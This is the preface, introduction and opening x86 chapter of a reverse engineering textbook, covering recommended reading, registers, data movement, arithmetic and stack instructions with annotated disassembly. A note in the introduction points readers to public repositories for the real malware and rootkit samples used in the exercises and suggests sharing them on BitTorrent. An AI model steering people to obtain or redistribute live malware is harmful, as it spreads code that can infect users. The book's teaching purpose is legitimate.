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endeavors we have ever gone through. The book represents something that we 

wish we had when we started learning about reverse engineering more than 15 

years ago. At the time, there was a dearth of books and online resources (there 

were no blogs back then); we learned the art primarily through friends and 

independent trial-and-error experiments. The information security “industry” 

was also non-existent back then. Today, the world is different. We now have 

decompilers, web scanners, static source scanners, cloud (?), and APTs (unthink-

able!). Numerous blogs, forums, books, and in-person classes aim to teach reverse 

engineering.  These resources vary greatly in quality. Some are sub-standard 

but shamelessly published or offered to take advantage of the rise in demand 

for computer security; some are of extremely high quality but not well attended/

read due to lack of advertising, specialization or because they are simply “too 

esoteric.” There is not a unifying resource that people can use as the foundation 

for learning reverse engineering. We hope this book is that foundation.
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where we are today. All of the authors would like to acknowledge Rolf Rolles 
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Carol Long, John Sleeva, Luann Rouff, and the staff at John Wiley & Sons for 

putting up with us through the publishing process.

 — The authors
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Introduction

The reverse engineering learning process is similar to that of foreign language 

acquisition for adults. The fi rst phase of learning a foreign language begins 

with an introduction to letters in the alphabet, which are used to construct 

words with well-defi ned semantics. The next phase involves understanding 

the grammatical rules governing how words are glued together to produce a 

proper sentence. After being accustomed to these rules, one then learns how to 

stitch multiple sentences together to articulate complex thoughts. Eventually it 

reaches the point where the learner can read large books written in different 

styles and still understand the thoughts therein. At this point, one can read 

reference books on the more esoteric aspects of the language—historical syntax, 

phonology, and so on.

In reverse engineering, the language is the architecture and assembly lan-

guage. A word is an assembly instruction. Paragraphs are sequences of assembly 

instructions. A book is a program. However, to fully understand a book, the 

reader needs to know more than just vocabulary and grammar. These additional 

elements include structure and style of prose, unwritten rules of writing, and 

others. Understanding computer programs also requires a mastery of concepts 

beyond assembly instructions.

It can be somewhat intimidating to start learning an entirely new technical 

subject from a book. However, we would be misleading you if we were to claim 

that reverse engineering is a simple learning endeavor and that it can be com-

pletely mastered by reading this book. The learning process is quite involved 

because it requires knowledge from several disparate domains of knowledge. For 

example, an effective reverse engineer needs to be knowledgeable in computer 

architecture, systems programming, operating systems, compilers, and so on; 

for certain areas, a strong mathematical background is necessary. So how do you 
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know where to start? The answer depends on your experience and skills. Because 

we cannot accommodate everyone’s background, this introduction outlines the 

learning and reading methods for those without any programming background. 

You should fi nd your “position” in the spectrum and start from there.

For the sake of discussion, we loosely defi ne reverse engineering as the pro-

cess of understanding a system. It is a problem-solving process. A system can 

be a hardware device, a software program, a physical or chemical process, 

and so on. For the purposes of the book, the system is a software program. 

To understand a program, you must fi rst understand how software is written. 

Hence, the fi rst requirement is knowing how to program a computer through 

a language such as C, C++, Java, and others. We suggest fi rst learning C due 

to its simplicity, effectiveness, and ubiquity. Some excellent references to con-

sider are The C  Programming Language, by Brian Kernighan and Dennis Ritchie 

(Prentice Hall, 1988) and C: A Reference Manual, by Samuel Harbison (Prentice 

Hall, 2002). After becoming comfortable with writing, compiling, and debug-

ging basic programs, consider reading Expert C Programming: Deep C Secrets, by 

Peter van der Linden (Prentice Hall, 1994). At this point, you should be familiar 

with high-level concepts such as variables, scopes, functions, pointers, condi-

tionals, loops, call stacks, and libraries. Knowledge of data structures such as 

stacks, queues, linked lists, and trees might be useful, but they are not entirely 

necessary for now. To top it off, you might skim through Compilers: Principles, 
Techniques, and Tools, by Alfred Aho, Ravi Sethi, and Jeffrey Ullman, (Prentice 

Hall, 1994) and Linkers and Loaders, by John Levine (Morgan Kaufmann, 1999), 

to get a better understanding of how a program is really put together. The key 

purpose of reading these books is to gain exposure to basic concepts; you do 

not have to understand every page for now (there will be time for that later). 

Overachievers should consider Advanced Compiler Design and Implementation, by 

Steven Muchnick (Morgan Kaufmann, 1997).

Once you have a good understanding of how programs are generally written, 

executed, and debugged, you should begin to explore the program’s execution 

environment, which includes the processor and operating system. We suggest 

fi rst learning about the Intel processor by skimming through Intel 64 and IA-32 

Architectures Software Developer’s Manual, Volume 1: Basic Architecture by Intel, with 

special attention to Chapters 2–7. These chapters explain the basic elements of a 

modern computer. Readers interested in ARM should consider Cortex-A Series 

Programmer’s Guide and ARM Architecture Reference Manual ARMv7-A and ARMv7-R 

Edition by ARM. While our book covers x86/x64/ARM, we do not discuss every 

architectural detail. (We assume that the reader will refer to these manuals, 

as necessary.) In skimming through these manuals, you should have a basic 

appreciation of the technical building blocks of a computing system. For a more 

conceptual understanding, consider Structured Computer Organization by Andrew 

Tanenbaum (Prentice Hall, 1998). All readers should also consult the Microsoft PE 
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and COFF Specifi cation. At this point, you will have all the necessary background 

to read and understand Chapter 1, “x86 and x64,” and Chapter 2, “ARM.”

Next, you should explore the operating system. There are many different 

operating systems, but they share many common concepts including processes, 

threads, virtual memory, privilege separation, multi-tasking, and so on. The 

best way to understand these concepts is to read Modern Operating Systems, by 

Andrew Tanenbaum (Prentice Hall, 2005). Although Tanenbaum’s text is excellent 

for concepts, it does not discuss important technical details for real-life operat-

ing systems. For Windows, you should consider skimming through Windows 

NT Device Driver Development, by Peter Viscarola and Anthony Mason (New 

Riders Press, 1998); although it is a book on driver development, the background 

chapters provide an excellent and concrete introduction to Windows. (It is also 

excellent supplementary material for the Windows kernel chapter in this book.) 

For additional inspiration (and an excellent treatment of the Windows memory 

manager), you should also read What Makes It Page? The Windows 7 (x64) Virtual 
Memory Manager, by Enrico Martignetti (CreateSpace Independent Publishing 

Platform, 2012).

At this point, you would have all the necessary background to read and under-

stand Chapter 3 “The Windows Kernel.” You should also consider learning Win32 

programming. Windows System Programming, by Johnson Hart (Addison-Wesley 

Professional, 2010), and Windows via C/C++, by Jeffrey Richter and Christophe 

Nasarre (Microsoft Press, 2007), are excellent references.

For Chapter 4, “Debugging and Automation,” consider Inside Windows 

Debugging: A Practical Guide to Debugging and Tracing Strategies in Windows, by 

Tarik Soulami (Microsoft Press, 2012), and Advanced Windows Debugging, by 

Mario Hewardt and Daniel Pravat (Addison-Wesley Professional, 2007).

Chapter 5, “Obfuscation,” requires a good understanding of assembly language 

and should be read after the x86/x64/ARM chapters. For background knowledge, 

consider Surreptitious Software: Obfuscation, Watermarking, and Tamperproofi ng for 

Software Protection, by Christian Collberg and Jasvir Nagra (Addison-Wesley 

Professional, 2009).

N O T E  This book includes exercises and walk-throughs with real, malicious viruses 

and rootkits. We intentionally did this to ensure that readers can immediately apply 

their newly learned skills. The malware samples are referenced in alphabetical order 

(Sample A, B, C, ...), and you can fi nd the corresponding SHA1 hashes in the Appendix. 

Because there may be legal concerns about distributing such samples with the book, 

we decided not to do so; however, you can download these samples by searching vari-

ous malware repositories, such as www.malware.lu, or request them from the forums 

at http://kernelmode.info. Many of the samples are from famous hacking inci-

dents that made worldwide news, so they should be interesting. Perhaps some enthu-

siastic readers will gather all the samples in a package and share them on BitTorrent. 

http://www.malware.lu
http://kernelmode.info
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If none of those options work for you, please feel free to email the authors. Make sure 

that you analyze these in a safe environment to prevent accidental self-infection.

     In addition, to familiarize you with Metasm, we've prepared two exercise scripts: 

symbolic-execution-lvl1.rb and symbolic-execution-lvl2.rb. 

Answering the questions will lead you to a journey in Metasm internals. You can fi nd 

the scripts at www.wiley.com/go/practicalreverseengineering.

     It is important to realize that the exercises are a vital component of the book. The 

book was intentionally written in this way. If you simply read the book without doing 

the exercises, you will not understand or retain much. You should feel free to blog or 

write about your answers so that others can learn from them; you can post them on the 

Reverse Engineering reddit (www.reddit.com/r/ReverseEngineering) and get 

feedback from the community (and maybe the authors). If you successfully complete all 

of the exercises, pat yourself on the back and then send Bruce your resume.

The journey of becoming an effective reverse engineer is long and time con-

suming, requiring patience and endurance. You may fail many times along 

the way (by not understanding concepts or by failing to complete exercises in 

this book), but don’t give up. Remember: Failing is part of success. With this 

guidance and the subsequent chapters, you should be well prepared for the 

learning journey.

We, the authors, would love to hear about your learning experience so that 

we can further adjust our material and improve the book. Your feedback will be 

invaluable to us and, potentially, future publications. You can send feedback and 

questions to Bruce Dang (bruce.dang@gmail.com), Alexandre Gazet (agazet@

quarkslab.com), or Elias Bachaalany (elias.bachaalany@gmail.com).

http://www.wiley.com/go/practicalreverseengineering
http://www.reddit.com/r/ReverseEngineering
mailto:dang@gmail.com
mailto:bachaalany@gmail.com
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The x86 is little-endian architecture based on the Intel 8086 processor. For the 

purpose of our chapter, x86 is the 32-bit implementation of the Intel architecture 

(IA-32) as defi ned in the Intel Software Development Manual. Generally speaking, 

it can operate in two modes: real and protected. Real mode is the processor state 

when it is fi rst powered on and only supports a 16-bit instruction set. Protected 

mode is the processor state supporting virtual memory, paging, and other 

features; it is the state in which modern operating systems execute. The 64-bit 

extension of the architecture is called x64 or x86-64.  This chapter discusses the 

x86 architecture operating in protected mode.

x86 supports the concept of privilege separation through an abstraction called 

ring level. The processor supports four ring levels, numbered from 0 to 3. (Rings 

1 and 2 are not commonly used so they are not discussed here.) Ring 0 is the 

highest privilege level and can modify all system settings. Ring 3 is the lowest 

privileged level and can only read/modify a subset of system settings. Hence, 

modern operating systems typically implement user/kernel privilege separation 
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by having user-mode applications run in ring 3, and the kernel in ring 0. The 

ring level is encoded in the CS register and sometimes referred to as the current 
privilege level (CPL) in offi cial documentation.

This chapter discusses the x86/IA-32 architecture as defi ned in the Intel 64 
and IA-32 Architectures Software Developer’s Manual, Volumes 1–3 (www.intel

.com/content/www/us/en/processors/architectures-software-developer-

manuals.html).

Register Set and Data Types

When operating in protected mode, the x86 architecture has eight 32-bit general-

purpose registers (GPRs): EAX, EBX, ECX, EDX, EDI, ESI, EBP, and ESP. Some of 

them can be further divided into 8- and 16-bit registers. The instruction pointer 

is stored in the EIP register. The register set is illustrated in Figure 1-1. Table 1-1 

describes some of these GPRs and how they are used.

EAX

AX

071531 01531

AH AL

ESI

SI

EDI

DI

EBP

BP

ESP

EIP

EFLAGS

SP

Figure 1-1

Table 1-1: Some GPRs and Their Usage

REGISTER PURPOSE

ECX Counter in loops

ESI Source in string/memory operations

EDI Destination in string/memory operations

EBP Base frame pointer

ESP Stack pointer

http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
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The common data types are as follows:

 ■ Bytes—8 bits. Examples: AL, BL, CL

 ■ Word—16 bits. Examples: AX, BX, CX

 ■ Double word—32 bits. Examples: EAX, EBX, ECX

 ■ Quad word—64 bits. While x86 does not have 64-bit GPRs, it can combine 

two registers, usually EDX:EAX, and treat them as 64-bit values in some sce-

narios. For example, the RDTSC instruction writes a 64-bit value to EDX:EAX.

The 32-bit EFLAGS register is used to store the status of arithmetic operations 

and other execution states (e.g., trap fl ag). For example, if the previous “add” 

operation resulted in a zero, the ZF fl ag will be set to 1. The fl ags in EFLAGS are 

primarily used to implement conditional branching.

In addition to the GPRs, EIP, and EFLAGS, there are also registers that control 

important low-level system mechanisms such as virtual memory, interrupts, and 

debugging. For example, CR0 controls whether paging is on or off, CR2 contains 

the linear address that caused a page fault, CR3 is the base address of a paging 

data structure, and CR4 controls the hardware virtualization settings. DR0–DR7 

are used to set memory breakpoints. We will come back to these registers later 

in the “System Mechanism” section.

N O T E  Although there are eight debug registers, the system allows only four mem-

ory breakpoints (DR0–DR3). The remaining registers are used for status.

There are also model-specifi c registers (MSRs). As the name implies, these 

registers may vary between different processors by Intel and AMD. Each MSR 

is identifi ed by name and a 32-bit number, and read/written to through the 

RDMSR/WRMSR instructions. They are accessible only to code running in ring 0 and 

typically used to store special counters and implement low-level functionality. 

For example, the SYSENTER instruction transfers execution to the address stored 

in the IA32_SYSENTER_EIP MSR (0x176), which is usually the operating system’s 

system call handler. MSRs are discussed throughout the book as they come up.

Instruction Set

The x86 instruction set allows a high level of fl exibility in terms of data move-

ment between registers and memory. The movement can be classifi ed into fi ve 

general methods:

 ■ Immediate to register

 ■ Register to register

 ■ Immediate to memory
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 ■ Register to memory and vice versa

 ■ Memory to memory

The fi rst four methods are supported by all modern architectures, but the last 

one is specifi c to x86. A classical RISC architecture like ARM can only read/write 

data from/to memory with load/store instructions (LDR and STR, respectively); 

for example, a simple operation like incrementing a value in memory requires 

three instructions: 

 1. Read the data from memory to a register (LDR).

 2. Add one to the register (ADD).

 3. Write the register to memory (STR). 

On x86, such an operation would require only one instruction (either INC or 

ADD) because it can directly access memory. The MOVS instruction can read and 

write memory at the same time.

ARM

01: 1A 68     LDR   R2, [R3]; read the
value at address R3 and save it in R202:
52 1C     ADDS   R2, R2, #1; add 1 to it
03: 1A 60         STR      R2, [R3]
; write updated value back to address R3

x86

01: FF 00         inc      dword ptr [eax]
; directly increment value at address EAX

Another important characteristic is that x86 uses variable-length instruction 

size: the instruction length can range from 1 to 15 bytes. On ARM, instructions 

are either 2 or 4 bytes in length.

Syntax

Depending on the assembler/disassembler, there are two syntax notations for 

x86 assembly code, Intel and AT&T:

Intel

mov ecx, AABBCCDDh
mov ecx, [eax]
mov ecx, eax

AT&T

movl $0xAABBCCDD, %ecx
movl (%eax), %ecx
movl %eax, %ecx
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It is important to note that these are the same instructions but written differ-

ently. There are several differences between Intel and AT&T notation, but the 

most notable ones are as follows:

 ■ AT&T prefi xes the register with %, and immediates with $. Intel does not 

do this.

 ■ AT&T adds a suffi x to the instruction to indicate operation width. For 

example, MOVL (long), MOVB (byte), etc. Intel does not do this.

 ■ AT&T puts the source operand before the destination. Intel reverses the 

order.

Disassemblers/assemblers and other reverse-engineering tools (IDA Pro, 

OllyDbg, MASM, etc.) on Windows typically use Intel notation, whereas those 

on UNIX frequently follow AT&T notation (GCC). In practice, Intel notation is 

the dominant form and is used throughout this book.

Data Movement

Instructions operate on values that come from registers or main memory. The 

most common instruction for moving data is MOV. The simplest usage is to move 

a register or immediate to register. For example:

01: BE 3F 00 0F 00   mov   esi, 0F003Fh ; set ESI = 0xF003
02: 8B F1            mov   esi, ecx     ; set ESI = ECX

The next common usage is to move data to/from memory. Similar to other 

assembly language conventions, x86 uses square brackets ([]) to indicate memory 

access. (The only exception to this is the LEA instruction, which uses [] but does 

not actually reference memory.) Memory access can be specifi ed in several dif-

ferent ways, so we will begin with the simplest case:

Assembly

01: C7 00 01 00 00+  mov   dword ptr [eax], 1
; set the memory at address EAX to 1
02: 8B 08            mov   ecx, [eax]
; set ECX to the value at address EAX
03: 89 18            mov   [eax], ebx
; set the memory at address EAX to EBX
04: 89 46 34         mov   [esi+34h], eax
; set the memory address at (ESI+34) to EAX
05: 8B 46 34         mov   eax, [esi+34h]
; set EAX to the value at address (ESI+0x34)
06: 8B 14 01         mov   edx, [ecx+eax]
; set EDX to the value at address (ECX+EAX)
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Pseudo C

01: *eax = 1;
02: ecx = *eax;
03: *eax = ebx;
04: *(esi+0x34) = eax;
05: eax = *(esi+0x34);
06: edx = *(ecx+eax);

These examples demonstrate memory access through a base register and 

offset, where offset can be a register or immediate. This form is commonly used 

to access structure members or data buffers at a location computed at runtime. 

For example, suppose that ECX points to a structure of type KDPC with the layout

kd> dt nt!_KDPC
   +0x000 Type             : UChar
   +0x001 Importance       : UChar
   +0x002 Number           : Uint2B
   +0x004 DpcListEntry     : _LIST_ENTRY
   +0x00c DeferredRoutine  : Ptr32     void
   +0x010 DeferredContext  : Ptr32 Void
   +0x014 SystemArgument1  : Ptr32 Void
   +0x018 SystemArgument2  : Ptr32 Void
   +0x01c DpcData          : Ptr32 Void

and used in the following context:

Assembly

01: 8B 45 0C         mov   eax, [ebp+0Ch]
02: 83 61 1C 00      and   dword ptr [ecx+1Ch], 0
03: 89 41 0C         mov   [ecx+0Ch], eax
04: 8B 45 10         mov   eax, [ebp+10h]
05: C7 01 13 01 00+  mov   dword ptr [ecx], 113h
06: 89 41 10         mov   [ecx+10h], eax

Pseudo C

KDPC *p = ...;
p->DpcData = NULL;
p->DeferredRoutine = ...;
*(int *)p = 0x113;
p->DeferredContext = ...;

Line 1 reads a value from memory and stores it in EAX. The DeferredRoutine 

fi eld is set to this value in line 3. Line 2 clears the DpcData fi eld by AND’ing it 



 Chapter 1 ■ x86 and x64 7

c01.indd 09:57:15:AM  07/13/2016 Page 7

with 0. Line 4 reads another value from memory and stores it in EAX. The 

DeferredContext fi eld is set to this value in line 6.

Line 5 writes the double-word value 0x113 to the base of the structure. Why 

does it write a double-word value at the base if the fi rst fi eld is only 1 byte in 

size? Wouldn’t that implicitly set the Importance and Number fi elds as well? The 

answer is yes. Figure 1-2 shows the result of converting 0x113 to binary.

00000000 00000000 00000001 00010011 
00000000 00000000 00000001 00010011

Number Importance Type

Figure 1-2

The Type fi eld is set to 0x13 (bold bits), Importance Importance is set to 0x1 

(italicized bits), and Number is set to 0x0 (the remaining bits). By writing one 

value, the code managed to initialize three fi elds with a single instruction! The 

code could have been written as follows:

01: 8B 45 0C         mov   eax, [ebp+0Ch]
02: 83 61 1C 00      and   dword ptr [ecx+1Ch], 0
03: 89 41 0C         mov   [ecx+0Ch], eax
04: 8B 45 10         mov   eax, [ebp+10h]
05: C6 01 13         mov   byte ptr [ecx],13h
06: C6 41 01 01      mov   byte ptr [ecx+1],1
07: 66 C7 41 02 00+  mov   word ptr [ecx+2],0
08: 89 41 10         mov   [ecx+10h], eax

The compiler decided to fold three instructions into one because it knew 

the constants ahead of time and wants to save space. The three-instruction 

version occupies 13 bytes (the extra byte in line 7 is not shown), whereas the 

one-instruction version occupies 6 bytes. Another interesting observation is that 

memory access can be done at three granularity levels: byte (line 5–6), word 

(line 6), and double-word (line 1–4, 8). The default granularity is 4 bytes, which 

can be changed to 1 or 2 bytes with an override prefi x. In the example, the over-

ride prefi x byte is 66 (italicized). Other prefi xes are discussed as they come up.

The next memory access form is commonly used to access array-type objects. 

Generally, the format is as follows: [Base + Index * scale]. This is best understood 

through examples:

01: 8B 34 B5 40 05+  mov   esi, _KdLogBuffer[esi*4]
; always written as  mov   esi, [_KdLogBuffer + esi * 4]
; _KdLogBuffer is the base address of a global array and
; ESI is the index; we know that each element in the array
; is 4 bytes in length (hence the scaling factor)
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02: 89 04 F7         mov   [edi+esi*8], eax
; here is EDI is the array base address; ESI is the array
; index; element size is 8.

In practice, this is observed in code looping over an array. For example:

01:                loop_start:
02: 8B 47 04         mov   eax, [edi+4]
03: 8B 04 98         mov   eax, [eax+ebx*4]
04: 85 C0            test  eax, eax
...
05: 74 14            jz    short loc_7F627F
06:                loc_7F627F:
07: 43               inc   ebx
08: 3B 1F            cmp   ebx, [edi]
09: 7C DD            jl    short loop_start

Line 2 reads a double-word from offset +4 from EDI and then uses it as the 

base address into an array in line 3; hence, you know that EDI is likely a struc-

ture that has an array at +4. Line 7 increments the index. Line 8 compares the 

index against a value at offset +0 in the same structure. Given this info, this 

small loop can be decompiled as follows:

typedef struct _FOO
{
    DWORD size;        // +0x00
    DWORD array[...];  // +0x04
} FOO, *PFOO;

PFOO bar = ...;
for (i = ...; i < bar->size; i++) {
    if (bar->array[i] != 0) {
    ...
    }
}

The MOVSB/MOVSW/MOVSD instructions move data with 1-, 2-, or 4-byte granu-

larity between two memory addresses. They implicitly use EDI/ESI as the 

destination/source address, respectively. In addition, they also automatically 

update the source/destination address depending on the direction fl ag (DF) fl ag 

in EFLAGS. If DF is 1, the addresses are decremented; otherwise, they are incre-

mented. These instructions are typically used to implement string or memory 

copy functions when the length is known at compile time. In some cases, they 

are accompanied by the REP prefi x, which repeats an instruction up to ECX times. 

Consider the following example:
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Assembly

01: BE 28 B5 41 00   mov   esi, offset _RamdiskBootDiskGuid
; ESI = pointer to RamdiskBootDiskGuid
02: 8D BD 40 FF FF+  lea   edi, [ebp-0C0h]
; EDI is an address somewhere on the stack
03: A5               movsd
; copies 4 bytes from ESI to EDI ; increment each by 4
04: A5               movsd
; same as above
05: A5               movsd
; save as above
06: A5               movsd
; same as above

Pseudo C 

/* a GUID is 16-byte structure */
GUID RamDiskBootDiskGuid = ...; // global
...
GUID foo;
memcpy(&foo, &RamdiskBootDiskGuid, sizeof(GUID));

Line 2 deserves some special attention. Although the LEA instruction uses 

[], it actually does not read from a memory address; it simply evaluates the 

expression in square brackets and puts the result in the destination register. 

For example, if EBP were 0x1000, then EDI would be 0xF40 (=0x1000 – 0xC0) 

after executing line 2. The point is that LEA does not access memory, despite 

the misleading syntax.

The following example, from nt!KiInitSystem, uses the REP prefi x:

01: 6A 08            push   8    ; push 8 on the stack (will explain stacks

                                 ; later)

02: ...

03: 59               pop    ecx  ; pop the stack. Basically sets ECX to 8.

04: ...

05: BE 00 44 61 00   mov    esi, offset _KeServiceDescriptorTable

06: BF C0 43 61 00   mov    edi, offset _KeServiceDescriptorTableShadow

07: F3 A5            rep movsd   ; copy 32 bytes (movsd repeated 8 times)

; from this we can deduce that whatever these two objects are, they are

;  likely to be 32 bytes in size.

The rough C equivalent of this would be as follows:

memcpy(&KeServiceDescriptorTableShadow, &KeServiceDescriptorTable, 32);
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The fi nal example, nt!MmInitializeProcessAddressSpace, uses a combina-

tion of these instructions because the copy size is not a multiple of 4:

01: 8D B0 70 01 00+  lea   esi, [eax+170h]

; EAX is likely the base address of a structure. Remember what we said 

; about LEA ...

02: 8D BB 70 01 00+  lea   edi, [ebx+170h]

; EBX is likely to be base address of another structure of the same type

03: A5               movsd

04: A5               movsd

05: A5               movsd

06: 66 A5            movsw

07: A4               movsb

After lines 1–2, you know that EAX and EBX are likely to be of the same type 

because they are being used as source/destination and the offset is identical. 

This code snippet simply copies 15 bytes from one structure fi eld to another. 

Note that the code could also have been written using the MOVSB instruction 

with a REP prefi x and ECX set to 15; however, that would be ineffi cient because 

it results in 15 reads instead of only fi ve.

Another class of data movement instructions with implicit source and destina-

tion includes the SCAS and STOS instructions. Similar to MOVS, these instructions 

can operate at 1-, 2-, or 4-byte granularity. SCAS implicitly compares AL/AX/EAX 

with data starting at the memory address EDI; EDI is automatically incremented/

decremented depending on the DF bit in EFLAGS. Given its semantic, SCAS is com-

monly used along with the REP prefi x to fi nd a byte, word, or double-word in 

a buffer. For example, the C strlen() function can be implemented as follows:

01: 30 C0            xor    al, al

; set AL to 0 (NUL byte).  You will frequently observe the XOR reg, reg

;  pattern in code.

02: 89 FB            mov    ebx, edi

; save the original pointer to the string

03: F2 AE            repne  scasb

; repeatedly scan forward one byte at a time as long as AL does not match the

; byte at EDI when this instruction ends, it means we reached the NUL byte in

; the string buffer

04: 29 DF            sub    edi, ebx

; edi is now the NUL byte location. Subtract that from the original pointer

; to the length.

STOS is the same as SCAS except that it writes the value AL/AX/EAX to EDI. It 

is commonly used to initialize a buffer to a constant value (such as memset()). 

Here is an example:

01: 33 C0            xor    eax, eax

; set EAX to 0

02: 6A 09            push   9

; push 9 on the stack

03: 59               pop    ecx

; pop it back in ECX. Now ECX = 9.



 Chapter 1 ■ x86 and x64 11

c01.indd 09:57:15:AM  07/13/2016 Page 11

04: 8B FE            mov    edi, esi

; set the destination address

05: F3 AB            rep stosd

; write 36 bytes of zero to the destination buffer (STOSD repeated 9 times)

; this is equivalent lent to memset(edi, 0, 36)

LODS is another instruction from the same family. It reads a 1-, 2-, or 4-byte 

value from ESI and stores it in AL, AX, or EAX.

Exercise

 1. This function uses a combination SCAS and STOS to do its work. First, explain 

what is the type of the [EBP+8] and [EBP+C] in line 1 and 8, respectively. 

Next, explain what this snippet does.

01: 8B 7D 08         mov   edi, [ebp+8]
02: 8B D7            mov   edx, edi
03: 33 C0            xor   eax, eax
04: 83 C9 FF         or    ecx, 0FFFFFFFFh
05: F2 AE            repne scasb
06: 83 C1 02         add   ecx, 2
07: F7 D9            neg   ecx
08: 8A 45 0C         mov   al, [ebp+0Ch]
09: 8B FA            mov   edi, edx
10: F3 AA            rep stosb
11: 8B C2            mov   eax, edx

Arithmetic Operations

Fundamental arithmetic operations such as addition, subtraction, multiplication, 

and division are natively supported by the instruction set. Bit-level operations 

such as AND, OR, XOR, NOT, and left and right shift also have native corresponding 

instructions. With the exception of multiplication and division, the remain-

ing instructions are straightforward in terms of usage. These operations are 

explained with the following examples:

01: 83 C4 14         add   esp, 14h          ; esp = esp + 0x14

02: 2B C8            sub   ecx, eax          ; ecx = ecx - eax 

03: 83 EC 0C         sub   esp, 0Ch          ; esp = esp - 0xC

04: 41               inc   ecx               ; ecx = ecx + 1

05: 4F               dec   edi               ; edi = edi - 1

06: 83 C8 FF         or    eax, 0FFFFFFFFh   ; eax = eax | 0xFFFFFFFF

07: 83 E1 07         and   ecx, 7            ; ecx = ecx & 7

08: 33 C0            xor   eax, eax          ; eax = eax ^ eax

09: F7 D7            not   edi               ; edi = ~edi

10: C0 E1 04         shl   cl, 4             ; cl = cl << 4

11: D1 E9            shr   ecx, 1            ; ecx = ecx >> 1

12: C0 C0 03         rol   al, 3             ; rotate AL left 3 positions

13: D0 C8            ror   al, 1             ; rotate AL right 1 position
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The left and right shift instructions (lines 11–12) merit some explanation, as 

they are frequently observed in real-life code. These instructions are typically 

used to optimize multiplication and division operations where the multiplicand 

and divisor are a power of two. This type of optimization is sometimes known 

as strength reduction because it replaces a computationally expensive operation 

with a cheaper one. For example, integer division is relatively a slow operation, 

but when the divisor is a power of two, it can be reduced to shifting bits to the 

right; 100/2 is the same as 100>>1. Similarly, multiplication by a power of two 

can be reduced to shifting bits to the left; 100*2 is the same as 100<<1.

Unsigned and signed multiplication is done through the MUL and IMUL instruc-

tions, respectively. The MUL instruction has the following general form: MUL reg/

memory. That is, it can only operate on register or memory values. The register 

is multiplied with AL, AX, or EAX and the result is stored in AX, DX:AX, or EDX:EAX, 

depending on the operand width. For example:

01: F7 E1          mul   ecx                ; EDX:EAX = EAX * ECX

02: F7 66 04       mul   dword ptr [esi+4]  ; EDX:EAX = EAX * dword_at(ESI+4)

03: F6 E1          mul   cl                 ; AX = AL * CL

04: 66 F7 E2       mul   dx                 ; DX:AX = AX * DX

Consider a few other concrete examples:

01: B8 03 00 00 00   mov   eax,3          ; set EAX=3

02: B9 22 22 22 22   mov   ecx,22222222h  ; set ECX=0x22222222

03: F7 E1            mul   ecx            ; EDX:EAX = 3 * 0x22222222 = 

                                          ; 0x66666666

                                          ; hence, EDX=0, EAX=0x66666666

04: B8 03 00 00 00   mov   eax,3          ; set EAX=3

05: B9 00 00 00 80   mov   ecx,80000000h  ; set ECX=0x80000000

06: F7 E1            mul   ecx            ; EDX:EAX = 3 * 0x80000000 = 

                                          ; 0x180000000

                                          ; hence, EDX=1, EAX=0x80000000

The reason why the result is stored in EDX:EAX for 32-bit multiplication is 

because the result potentially may not fi t in one 32-bit register (as demonstrated 

in lines 4–6).

IMUL has three forms:

 ■ IMUL reg/mem — Same as MUL

 ■ IMUL reg1, reg2/mem — reg1 = reg1 * reg2/mem

 ■ IMUL reg1, reg2/mem, imm — reg1 = reg2 * imm

Some disassemblers shorten the parameters. For example:

01: F7 E9            imul  ecx        ; EDX:EAX = EAX * ECX
02: 69 F6 A0 01 00+  imul  esi, 1A0h  ; ESI = ESI * 0x1A0
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03: 0F AF CE         imul  ecx, esi   ; ECX = ECX * ESI

Unsigned and signed division is done through the DIV and IDIV instructions, 

respectively. They take only one parameter (divisor) and have the following 

form: DIV/IDIV reg/mem. Depending on the divisor’s size, DIV will use either 

AX, DX:AX, or EDX:EAX as the dividend, and the resulting quotient/remainder 

pair are stored in AL/AH, AX/DX, or EAX/EDX. For example:

01: F7 F1            div   ecx     ; EDX:EAX / ECX, quotient in EAX, 

02: F6 F1            div   cl      ; AX / CL, quotient in AL, remainder in AH

03: F7 76 24         div   dword ptr [esi+24h] ; see line 1

04: B1 02            mov   cl,2    ; set CL = 2

05: B8 0A 00 00 00   mov   eax,0Ah ; set EAX = 0xA

06: F6 F1            div   cl      ; AX/CL = A/2 = 5 in AL (quotient), 

                                   ; AH = 0 (remainder)

07: B1 02            mov   cl,2    ; set CL = 2

08: B8 09 00 00 00   mov   eax,09h ; set EAX = 0x9

09: F6 F1            div   cl      ; AX/CL = 9/2 = 4 in AL (quotient), 

                                   ; AH = 1 (remainder)

Stack Operations and Function Invocation

The stack is a fundamental data structure in programming languages and operat-

ing systems. For example, local variables in C are stored on the functions’ stack 

space. When the operating system transitions from ring 3 to ring 0, it saves state 

information on the stack. Conceptually, a stack is a last-in fi rst-out data structure 

supporting two operations: push and pop. Push means to put something on top 

of the stack; pop means to remove an item from the top. Concretely speaking, 

on x86, a stack is a contiguous memory region pointed to by ESP and it grows 

downwards. Push/pop operations are done through the PUSH/POP instruc-

tions and they implicitly modify ESP. The PUSH instruction decrements ESP 

and then writes data at the location pointed to by ESP; POP reads the data and 

increments ESP. The default auto-increment/decrement value is 4, but it can be 

changed to 1 or 2 with a prefi x override. In practice, the value is almost always 

4 because the OS requires the stack to be double-word aligned.

Suppose that ESP initially points to 0xb20000 and you have the following code:

; initial ESP = 0xb20000

01: B8 AA AA AA AA  mov    eax,0AAAAAAAAh

02: BB BB BB BB BB  mov    ebx,0BBBBBBBBh

03: B9 CC CC CC CC  mov    ecx,0CCCCCCCCh

04: BA DD DD DD DD  mov    edx,0DDDDDDDDh

05: 50              push   eax

; address 0xb1fffc will contain the value 0xAAAAAAAA and ESP 

; will be 0xb1fffc (=0xb20000-4)
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06: 53              push   ebx

; address 0xb1fff8 will contain the value 0xBBBBBBBB and ESP 

; will be 0xb1fff8 (=0xb1fffc-4)

07: 5E              pop    esi

